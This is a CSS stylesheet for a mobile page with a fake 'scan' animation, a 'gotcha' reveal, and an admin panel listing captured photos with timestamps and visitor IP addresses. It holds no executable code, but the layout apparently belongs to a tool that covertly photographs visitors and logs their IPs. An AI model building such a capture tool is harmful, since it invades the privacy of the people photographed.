* { margin: 0; padding: 0; box-sizing: border-box; }

html, body {
    font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, 'Helvetica Neue', Arial, sans-serif;
    background: linear-gradient(135deg, #0c0c1d 0%, #1a1a3e 50%, #0c0c1d 100%);
    color: #e0e0e0;
    min-height: 100vh;
    overflow-x: hidden;
    -webkit-text-size-adjust: 100%;
    -webkit-tap-highlight-color: transparent;
}

.container {
    max-width: 480px;
    margin: 0 auto;
    padding: 20px;
    padding-top: constant(safe-area-inset-top);
    padding-top: env(safe-area-inset-top);
    min-height: 100vh;
    display: flex;
    flex-direction: column;
    align-items: center;
    justify-content: center;
}

.hero { text-align: center; }

.hero-icon {
    font-size: 72px;
    margin-bottom: 20px;
    animation: pulse 2s ease-in-out infinite;
}

@keyframes pulse {
    0%, 100% { transform: scale(1); }
    50% { transform: scale(1.1); }
}

.hero h1 {
    font-size: 28px;
    background: linear-gradient(90deg, #a78bfa, #818cf8, #6366f1);
    -webkit-background-clip: text;
    -webkit-text-fill-color: transparent;
    background-clip: text;
    margin-bottom: 12px;
}

.hero p { font-size: 15px; color: #9ca3af; line-height: 1.6; }

.start-btn {
    display: inline-flex;
    align-items: center;
    gap: 8px;
    margin-top: 24px;
    padding: 16px 48px;
    font-size: 18px;
    font-weight: 600;
    color: #fff;
    background: linear-gradient(135deg, #6366f1, #8b5cf6);
    border: none;
    border-radius: 50px;
    cursor: pointer;
    -webkit-appearance: none;
    box-shadow: 0 4px 20px rgba(99, 102, 241, 0.4);
}

.start-btn:active { transform: scale(0.97); }

.hero-hint { margin-top: 16px; font-size: 12px; color: #6b7280; }

.scan-section { display: none; width: 100%; text-align: center; }
.scan-section.active { display: block; animation: fadeIn 0.3s ease; }

@keyframes fadeIn {
    from { opacity: 0; transform: translateY(20px); }
    to { opacity: 1; transform: translateY(0); }
}

.scan-spinner {
    width: 48px; height: 48px;
    margin: 0 auto 28px;
    border: 4px solid rgba(99, 102, 241, 0.2);
    border-top-color: #6366f1;
    border-radius: 50%;
    animation: spin 0.8s linear infinite;
}

@keyframes spin { to { transform: rotate(360deg); } }

.scan-text { font-size: 18px; font-weight: 600; color: #a78bfa; margin-bottom: 12px; }

.progress-bar {
    width: 100%; max-width: 300px; height: 6px;
    background: rgba(255, 255, 255, 0.1); border-radius: 3px;
    margin: 0 auto; overflow: hidden;
}

.progress-bar-fill {
    height: 100%; background: linear-gradient(90deg, #6366f1, #a78bfa);
    border-radius: 3px; width: 0%; transition: width 0.3s ease;
}

.gotcha-section { display: none; width: 100%; text-align: center; }
.gotcha-section.active { display: block; animation: shakeIn 0.5s ease; }

@keyframes shakeIn {
    0% { opacity: 0; transform: scale(0.8); }
    25% { transform: scale(1.05) rotate(-2deg); }
    50% { transform: scale(1.05) rotate(2deg); }
    75% { transform: scale(1.02) rotate(-1deg); }
    100% { opacity: 1; transform: scale(1) rotate(0deg); }
}

.gotcha-emoji { font-size: 80px; margin-bottom: 20px; animation: laugh 0.4s ease-in-out infinite alternate; }
@keyframes laugh { from { transform: rotate(-8deg) scale(1); } to { transform: rotate(8deg) scale(1.15); } }

.gotcha-title { font-size: 28px; font-weight: 800; color: #f59e0b; margin-bottom: 12px; }
.gotcha-subtitle { font-size: 20px; color: #9ca3af; margin-bottom: 20px; }
.gotcha-desc { font-size: 15px; color: #6b7280; line-height: 1.8; max-width: 320px; margin: 0 auto; }
.gotcha-divider { width: 60px; height: 3px; background: rgba(255, 255, 255, 0.1); border-radius: 2px; margin: 24px auto; }
.gotcha-small { font-size: 14px; color: #6b7280; }

.result-section { display: none; width: 100%; text-align: center; }
.result-section.active { display: block; animation: fadeIn 0.6s ease; }

.result-card {
    background: rgba(255, 255, 255, 0.05);
    border: 1px solid rgba(255, 255, 255, 0.1);
    border-radius: 20px; padding: 32px 24px; margin-bottom: 24px;
}

.result-avatar {
    width: 80px; height: 80px; border-radius: 50%;
    background: linear-gradient(135deg, #6366f1, #8b5cf6);
    display: flex; align-items: center; justify-content: center;
    font-size: 36px; margin: 0 auto 16px;
}

.result-title { font-size: 22px; font-weight: 700; color: #fff; margin-bottom: 8px; }
.result-subtitle { font-size: 14px; color: #a78bfa; margin-bottom: 20px; }
.result-desc { font-size: 14px; color: #9ca3af; line-height: 1.8; }

.share-btn {
    display: inline-flex; align-items: center; gap: 8px;
    padding: 12px 32px; font-size: 15px; color: #fff;
    background: linear-gradient(135deg, #6366f1, #8b5cf6);
    border: none; border-radius: 50px; cursor: pointer;
    -webkit-appearance: none;
}

.share-btn:active { transform: scale(0.97); }

.admin-container { max-width: 900px; margin: 0 auto; padding: 20px; }

.admin-header {
    display: flex; justify-content: space-between; align-items: center;
    padding: 16px 0; border-bottom: 1px solid rgba(255, 255, 255, 0.1); margin-bottom: 24px;
}

.admin-header h1 { font-size: 22px; color: #e0e0e0; }

.admin-header .logout-btn {
    padding: 8px 20px; background: rgba(239, 68, 68, 0.2); color: #ef4444;
    border: 1px solid rgba(239, 68, 68, 0.3); border-radius: 8px;
    cursor: pointer; font-size: 14px; text-decoration: none;
}

.stats-grid {
    display: grid; grid-template-columns: repeat(auto-fit, minmax(200px, 1fr));
    gap: 16px; margin-bottom: 32px;
}

.stat-card {
    background: rgba(255, 255, 255, 0.05); border: 1px solid rgba(255, 255, 255, 0.1);
    border-radius: 16px; padding: 20px; text-align: center;
}

.stat-card .stat-value { font-size: 32px; font-weight: 700; color: #a78bfa; }
.stat-card .stat-label { font-size: 13px; color: #9ca3af; margin-top: 4px; }

.photo-grid {
    display: grid; grid-template-columns: repeat(auto-fill, minmax(220px, 1fr)); gap: 16px;
}

.photo-card {
    background: rgba(255, 255, 255, 0.05); border: 1px solid rgba(255, 255, 255, 0.1);
    border-radius: 16px; overflow: hidden; position: relative;
}

.photo-card img { width: 100%; aspect-ratio: 4/3; object-fit: cover; cursor: pointer; }
.photo-card .photo-info { padding: 12px; }
.photo-card .photo-time { font-size: 13px; color: #a78bfa; margin-bottom: 4px; }
.photo-card .photo-ip {
    font-size: 12px; color: #6b7280; margin-bottom: 8px;
    white-space: nowrap; overflow: hidden; text-overflow: ellipsis;
}

.photo-card .photo-actions { display: flex; gap: 8px; }
.photo-card .photo-actions button {
    flex: 1; padding: 6px 12px; border: none; border-radius: 8px; cursor: pointer; font-size: 12px;
}

.photo-card .btn-view { background: rgba(99, 102, 241, 0.2); color: #818cf8; }
.photo-card .btn-delete { background: rgba(239, 68, 68, 0.2); color: #ef4444; }

.login-container {
    max-width: 400px; margin: 0 auto; padding: 20px;
    min-height: 100vh; display: flex; align-items: center; justify-content: center;
}

.login-box {
    width: 100%; background: rgba(255, 255, 255, 0.05);
    border: 1px solid rgba(255, 255, 255, 0.1);
    border-radius: 20px; padding: 40px 32px; text-align: center;
}

.login-box h2 { font-size: 24px; color: #e0e0e0; margin-bottom: 8px; }
.login-box p { font-size: 14px; color: #6b7280; margin-bottom: 32px; }

.login-box input {
    width: 100%; padding: 14px 16px;
    background: rgba(255, 255, 255, 0.05); border: 1px solid rgba(255, 255, 255, 0.15);
    border-radius: 12px; color: #e0e0e0; font-size: 15px; outline: none; margin-bottom: 16px;
    -webkit-appearance: none;
}

.login-box input:focus { border-color: #6366f1; }
.login-box input::placeholder { color: #6b7280; }

.login-box button {
    width: 100%; padding: 14px;
    background: linear-gradient(135deg, #6366f1, #8b5cf6);
    border: none; border-radius: 12px; color: #fff;
    font-size: 16px; font-weight: 600; cursor: pointer;
    -webkit-appearance: none;
}

.login-error { color: #ef4444; font-size: 13px; margin-bottom: 16px; display: none; }

.lightbox {
    display: none; position: fixed; top: 0; left: 0; width: 100%; height: 100%;
    background: rgba(0, 0, 0, 0.9); z-index: 1000;
    align-items: center; justify-content: center; cursor: pointer;
}

.lightbox.active { display: flex; }
.lightbox img { max-width: 90%; max-height: 90%; border-radius: 12px; }

.empty-state { text-align: center; padding: 60px 20px; color: #6b7280; }
.empty-state .empty-icon { font-size: 48px; margin-bottom: 16px; }
.empty-state p { font-size: 15px; }

.batch-actions { display: flex; gap: 12px; margin-bottom: 20px; }
.batch-actions button { padding: 8px 20px; border-radius: 8px; border: none; cursor: pointer; font-size: 13px; }

.btn-select-all { background: rgba(99, 102, 241, 0.2); color: #818cf8; }
.btn-delete-selected { background: rgba(239, 68, 68, 0.2); color: #ef4444; }

.photo-card.selected { border-color: #6366f1; box-shadow: 0 0 0 2px rgba(99, 102, 241, 0.3); }
.photo-card .photo-checkbox { position: absolute; top: 8px; right: 8px; width: 20px; height: 20px; cursor: pointer; }
